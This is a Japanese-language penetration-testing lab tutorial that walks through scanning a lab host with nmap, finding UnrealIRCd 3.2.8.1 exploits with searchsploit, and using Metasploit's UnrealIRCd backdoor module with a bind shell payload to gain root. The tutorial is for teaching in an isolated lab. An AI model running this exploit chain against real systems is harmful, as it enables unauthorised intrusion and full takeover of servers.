はじめに
ネットワークスキャンは、非常に実践的な分野です。ネットワークスキャンを通じて、ユーザーはターゲットホスト上の各サービスに割り当てられたポート、開いているサービス、サービスソフトウェアとそのバージョン、その他の情報を発見できます。
この実験では、ターゲットホストのネットワークサービスにおけるセキュリティ脆弱性をスキャンする方法を学びます。
Nmapを使用したターゲットホストのオープンポートスキャン
ネットワークスキャンの基本的なワークフローは以下の通りです。
- ターゲットホストの発見
- ポートスキャン
- フィンガープリント(サービス情報)スキャン
- 脆弱性スキャン
- ペネトレーション攻撃の実行
Nmap (Network Mapper) は強力なネットワークスキャンツールです。UDP、TCP connect()、TCP SYN(ハーフオープンスキャン)、FTPプロキシ(バウンス攻撃)、リバースフラグ、ICMP、FIN、ACKスキャン、SYNスキャン、ヌルスキャンなど、さまざまなスキャン技術をサポートしています。
このステップでは、Nmapを使用してターゲットホストのオープンポートをスキャンします。実験環境では、すでに 192.168.122.102 で脆弱なトレーニングサービスが起動しているため、ターゲットがダウンしていると報告されるのではなく、稼働中のホストとして検出されるはずです。
- ターミナルを開き、Kaliコンテナに入ります。
docker run -ti --network host b5b709a49cd5 bash
nmapコマンドを使用して、ターゲットホスト 192.168.122.102 をスキャンします。
nmap -p 6667 -T4 -A -v 192.168.122.102 > /tmp/report.txt
このコマンドは、ターゲットホストのポート 6667 をスキャンし、高速なタイミングポリシーを使用し、バージョン検出を有効にして、出力を /tmp/report.txt に保存します。
スキャン結果の分析
ターゲットホストをスキャンした後、スキャン結果を分析して潜在的な脆弱性を特定する必要があります。
- スキャンレポートを表示します。
cat /tmp/report.txt
このコマンドは、ターゲットホストのオープンポート、サービス、バージョン情報を含む /tmp/report.txt ファイルの内容を表示します。スキャンが成功すれば、ホストが稼働中であり、ポート 6667 が開いていることが以下のように表示されるはずです。
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-23 15:28 UTC
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Discovered open port 6667/tcp on 192.168.122.102
Nmap scan report for 192.168.122.102
Host is up.
PORT STATE SERVICE VERSION
6667/tcp open irc UnrealIRCd 3.2.8.1
Service Info: Host: labex-target
searchsploitツールを使用して、脆弱性情報を検索します。
searchsploit unreal ircd
このコマンドは、Exploit Databaseから「unreal ircd」サービスに関連する脆弱性を検索します。以下のような出力が表示されます。
---------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------------------------------------- ---------------------------------
UnrealIRCd 3.2.8.1 - Backdoor Command Execution (Metasploit) | linux/remote/16922.rb
UnrealIRCd 3.2.8.1 - Local Configuration Stack Overflow | windows/dos/18011.txt
UnrealIRCd 3.2.8.1 - Remote Downloader/Execute | linux/remote/13853.pl
UnrealIRCd 3.x - Remote Denial of Service | windows/dos/27407.pl
---------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
- 脆弱性の詳細を表示します。
cat /usr/share/exploitdb/exploits/linux/remote/16922.rb
このコマンドは、/usr/share/exploitdb/exploits/linux/remote/16922.rb にある脆弱性エクスプロイトファイルの内容を表示します。
脆弱性のエクスプロイト
スキャン結果を分析し、潜在的な脆弱性を特定した後、ペネトレーション攻撃のために脆弱性をエクスプロイト(悪用)してみます。
スキャン結果からエクスプロイト可能な脆弱性を特定します。例えば、ポート6667が開いており、脆弱なサービスが動作していると仮定します。
Metasploit Frameworkを起動します。
cd ~
msfconsole
- Metasploitコンソール内で、適切なエクスプロイトモジュールを選択します。
use exploit/unix/irc/unreal_ircd_3281_backdoor
- ターゲットホストのIPアドレスを設定します。
set RHOST 192.168.122.102
- ペイロードを設定します。
set PAYLOAD cmd/unix/bind_perl
- エクスプロイトを実行します。
exploit
エクスプロイトが成功すれば、ターゲットホストへのアクセス権を獲得できます。
- 脆弱性をエクスプロイトした後、成功したかどうかを確認する必要があります。Metasploitセッション内で、現在のユーザーとホスト名を確認します。
whoami
hostname
出力が root ユーザーとしてログインしていることを示していれば、エクスプロイトは成功です。この実験では、脆弱なサービスはトレーニングVM内の隔離されたネットワーク名前空間で実行されているため、hostname の出力には、別のゲストマシンの名前ではなく、現在のLabEx VMのホスト名が表示されます。
Ctrl+D を押してMetasploitコンソールを終了し、検証を開始してください。
まとめ
この実験では、ターゲットホストの発見、ポートスキャン、フィンガープリントスキャン、脆弱性スキャン、ペネトレーション攻撃の実行を含む、ネットワークスキャンの基本的なワークフローを学びました。強力なNmapツールを使用してターゲットホストのオープンポートをスキャンし、スキャン結果を分析して潜在的な脆弱性を特定しました。さらに、searchsploit ツールを使用して脆弱性情報を検索する方法と、Metasploit Frameworkを使用して脆弱性をエクスプロイトする方法を学びました。最後に、ターゲットホスト上の現在のユーザーとホスト名を確認することで、エクスプロイトの成功を検証しました。
このハンズオンラボを通じて、ネットワークサービスのセキュリティ脆弱性をスキャンし、ペネトレーション攻撃を実行する実践的な経験を積むことができました。この知識は、ネットワークシステムのセキュリティを確保し、潜在的なリスクを特定するために不可欠です。



